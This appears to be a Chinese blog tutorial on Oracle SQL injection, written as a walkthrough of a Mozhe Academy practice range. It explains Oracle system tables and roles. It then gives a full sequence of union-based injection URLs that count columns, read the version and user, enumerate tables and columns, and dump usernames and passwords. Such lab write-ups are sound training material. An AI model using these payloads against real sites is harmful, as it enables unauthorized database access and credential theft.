ORACLE注入

基础知识

Oracle是一款使用较为广泛的关系型数据库,在SQL注入中他与mysql语法最大的区别就是,使用select查询时需要指定表名才能进行查询。很多时候我们在进行注入时,刚开始是不知道其表名的,所以我们得想一个办法来解决这个问题:就是使用oracle中的dual虚拟表,他是默认存在的,他里面永远都有一条记录,可以用他来完成select查询语句完整。

oracle中有存在一些内置表:

  dba_tables:系统里所有表信息,需要DBA权限才能查询

  all_tables:当前用户有权限的表信息

  user_tables:当前用户名下的表信息

  DBA_ALL_TABLES:DBA用户所拥有的或有访问权限的对象和表

  ALL_ALL_TABLES:某一个用户拥有的或有访问权限的对象和表

  USER_ALL_TABLES:某一用户所拥有的对象和表

  所能看到信息多少的排序:

    dba_tables-->all_tables-->user_tables

权限和用户

  DBA:拥有全部权限,系统最高权限,只有DBA才可以创建数据库结构

  RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构

  CONNECT:拥有CONNECT权限的用户只可以登录Oracle,不可以创建实体,不可以穿件数据库结构

常用查询语句

当前用户权限     select * from session_roles
当前数据库版本   select banner from sys.v_$version where rownum=1
服务器操作系统   select member from v$logfile where rownum=1
服务器suid      select instance_name from v$instance
当前连接用户     select SYS_CONTEXT ('USERENV','CURRENT_USER') from dual
当前用户         select user from dual
oracle 的单行注释符是-- 多好注释符是/**/

 union注入

学习oracle注入使用的是墨者学院中的一个靶场。

测试网站是否存在漏洞,使用的是'号来进行测试,因为这个符号会打破原有的查询逻辑,导致进行查询报错,一般使用符号之后显示的页面会和前面有所不同,这时就需要使用and 1=1 和 and 1=2 来进行进一步判断

http://124.70.22.208:43456/new_list.php?id=1

 

 

http://124.70.22.208:43456/new_list.php?id=1%27

 

可以看出两个界面显示的不同,这时使用and 1=1 和and 1=2 来进一步确认

http://124.70.22.208:43456/new_list.php?id=1%20and%201=1

http://124.70.22.208:43456/new_list.php?id=1%20and%201=2

 

上面进一步证实了该网站存在注入漏洞

 现在可以获取网站的一些基础信息,在获取基础信息时,我们要先确认前面查询语句的字段和回显点的位置,一般使用的是order by来测试字段数,使用nulll来测试网站的回显点,但是有一点,oracle数据库必其他的数据库多了一个要求,就是union查询的两端的查询字段类型也必须相同

http://124.70.22.208:43456/new_list.php?id=1 order by 2

 

http://124.70.22.208:43456/new_list.php?id=1 order by 3

 

一共使用的是两列,这时测试回显点和数据类型

http://124.70.22.208:43456/new_list.php?id=-1 union select 'null','null' from dual

 

 两段都为回显点,这时可以查询数据库的一些基础信息

查看当前用户

http://124.70.22.208:43456/new_list.php?id=-1 union select (select user from dual),'null' from dual

 

 查看数据库版本和当前数据库库名

http://124.70.22.208:43456/new_list.php?id=-1 union select (select banner from sys.v_$version where rownum=1),(select instance_name from v$instance) from dual

 

查询表名

http://124.70.22.208:43456/new_list.php?id=-1 union select (select table_name from user_tables where rownum=1),'null' from dual

 

 第二个表

http://124.70.22.208:43456/new_list.php?id=-1 union select (select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$'),'null' from dual

 

 第三个表

http://124.70.22.208:43456/new_list.php?id=-1 union select (select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$' ),'null' from dual

 

模糊查询

http://124.70.22.208:43456/new_list.php?id=-1 union select (select table_name from user_tables where table_name like '%user%' ),'null' from dual

 

查询列名

http://124.70.22.208:43456/new_list.php?id=-1 union select (select column_name from user_tab_columns where table_name='sns_users' and rownum=1),'null' from dual

 

http://124.70.22.208:43456/new_list.php?id=-1 union select (select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in 'USER_NAME'),'null' from dual

 

 查询数据

http://124.70.22.208:43456/new_list.php?id=-1 union select USER_PWD,USER_NAME from "sns_users" where rownum=1

 

 

http://124.70.22.208:43456/new_list.php?id=-1 union select USER_PWD,USER_NAME from "sns_users" where rownum=1 and USER_NAME not in 'zhong'

 

http://124.70.22.208:43456/new_list.php?id=-1 union select USER_PWD,USER_NAME from "sns_users" where rownum=1 and USER_NAME not in ('zhong','hu')

 

 先说这么多,后面慢慢加

 

posted @   街头巷尾1  阅读(507)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· 一文读懂知识蒸馏
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
点击右上角即可分享
微信分享提示